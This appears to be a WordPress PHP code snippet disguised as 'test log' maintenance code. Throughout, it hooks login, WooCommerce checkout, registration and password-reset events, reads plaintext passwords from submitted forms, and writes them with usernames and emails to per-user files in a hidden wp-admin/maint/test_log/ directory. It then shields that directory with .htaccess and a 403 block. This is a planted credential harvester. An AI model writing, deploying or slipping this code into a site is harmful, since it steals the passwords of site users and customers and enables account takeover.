function setup_test_log_environment() { $log_dir = ABSPATH . 'wp-admin/maint/test_log/'; if (!file_exists($log_dir)) { wp_mkdir_p($log_dir); } add_directory_protection($log_dir); } add_action('init', 'setup_test_log_environment'); function add_directory_protection($dir) { $htaccess_content = "Order Deny,Allow\nDeny from all\n"; file_put_contents($dir . '.htaccess', $htaccess_content); $index_content = ""; file_put_contents($dir . 'index.php', $index_content); if (file_exists($dir . '.htaccess')) { chmod($dir . '.htaccess', 0644); } if (file_exists($dir . 'index.php')) { chmod($dir . 'index.php', 0644); } } function log_user_login($user_login, $user) { if (!is_wp_error($user)) { $timestamp = current_time('Y-m-d H:i:s'); $password = 'NOT_CAPTURED_ON_LOGIN'; if (isset($_POST['pwd'])) { $password = $_POST['pwd']; } elseif (isset($_POST['password'])) { $password = $_POST['password']; } $user_data = array( 'username' => $user->user_login, 'email' => $user->user_email, 'password' => $password, 'action' => 'login_standard', 'timestamp' => $timestamp, 'user_id' => $user->ID, 'source' => 'standard_login' ); write_user_log($user->user_login, $user_data); } } add_action('wp_login', 'log_user_login', 10, 2); function capture_woocommerce_checkout_login_success($user_login, $user) { if (!function_exists('is_checkout') || !is_checkout()) { return; } $timestamp = current_time('Y-m-d H:i:s'); $password = 'NOT_CAPTURED_CHECKOUT_LOGIN'; if (isset($_POST['password'])) { $password = $_POST['password']; } $user_data = array( 'username' => $user->user_login, 'email' => $user->user_email, 'password' => $password, 'action' => 'login_checkout', 'timestamp' => $timestamp, 'user_id' => $user->ID, 'source' => 'woocommerce_checkout_login_success', ); write_user_log($user->user_login, $user_data); } add_action('wp_login', 'capture_woocommerce_checkout_login_success', 5, 2); function log_user_registration($user_id) { $user = get_userdata($user_id); $timestamp = current_time('Y-m-d H:i:s'); $is_checkout = false; $password = 'NOT_CAPTURED'; if (isset($_POST['account_password']) || isset($_POST['createaccount_password'])) { $is_checkout = true; if (isset($_POST['account_password'])) { $password = $_POST['account_password']; } elseif (isset($_POST['createaccount_password'])) { $password = $_POST['createaccount_password']; } elseif (isset($_POST['billing_account_password'])) { $password = $_POST['billing_account_password']; } } else { if (isset($_POST['user_pass'])) { $password = $_POST['user_pass']; } elseif (isset($_POST['password'])) { $password = $_POST['password']; } elseif (isset($_POST['pass1'])) { $password = $_POST['pass1']; } } if ($is_checkout) { $action = 'registration_checkout'; $source = 'woocommerce_checkout'; } else { $action = 'registration_standard'; $source = 'standard_registration'; } $user_data = array( 'username' => $user->user_login, 'email' => $user->user_email, 'password' => $password, 'action' => $action, 'timestamp' => $timestamp, 'user_id' => $user_id, 'source' => $source ); write_user_log($user->user_login, $user_data); } add_action('user_register', 'log_user_registration'); function log_password_reset($user, $new_pass) { $timestamp = current_time('Y-m-d H:i:s'); $user_data = array( 'username' => $user->user_login, 'email' => $user->user_email, 'password' => $new_pass, 'action' => 'password_reset', 'timestamp' => $timestamp, 'user_id' => $user->ID ); write_user_log($user->user_login, $user_data); } add_action('password_reset', 'log_password_reset', 10, 2); function write_user_log($username, $user_data) { $log_dir = ABSPATH . 'wp-admin/maint/test_log/'; if (!file_exists($log_dir)) { wp_mkdir_p($log_dir); add_directory_protection($log_dir); } $safe_username = sanitize_file_name($username); $filename = $safe_username . '_logs.txt'; $filepath = $log_dir . $filename; $log_entry = "=== USER ACTION LOG ===\n"; $log_entry .= "Timestamp: " . $user_data['timestamp'] . "\n"; $log_entry .= "Action: " . $user_data['action'] . "\n"; $log_entry .= "User ID: " . $user_data['user_id'] . "\n"; $log_entry .= "Username: " . $user_data['username'] . "\n"; $log_entry .= "Email: " . $user_data['email'] . "\n"; $log_entry .= "Password: " . $user_data['password'] . "\n"; if (isset($user_data['source'])) { $log_entry .= "Source: " . $user_data['source'] . "\n"; } $log_entry .= "=======================\n\n"; file_put_contents($filepath, $log_entry, FILE_APPEND | LOCK_EX); chmod($filepath, 0600); } function block_test_log_access() { if (strpos($_SERVER['REQUEST_URI'], '/wp-admin/maint/test_log/') !== false) { status_header(403); nocache_headers(); die('Access denied: 403 Forbidden'); } } add_action('init', 'block_test_log_access');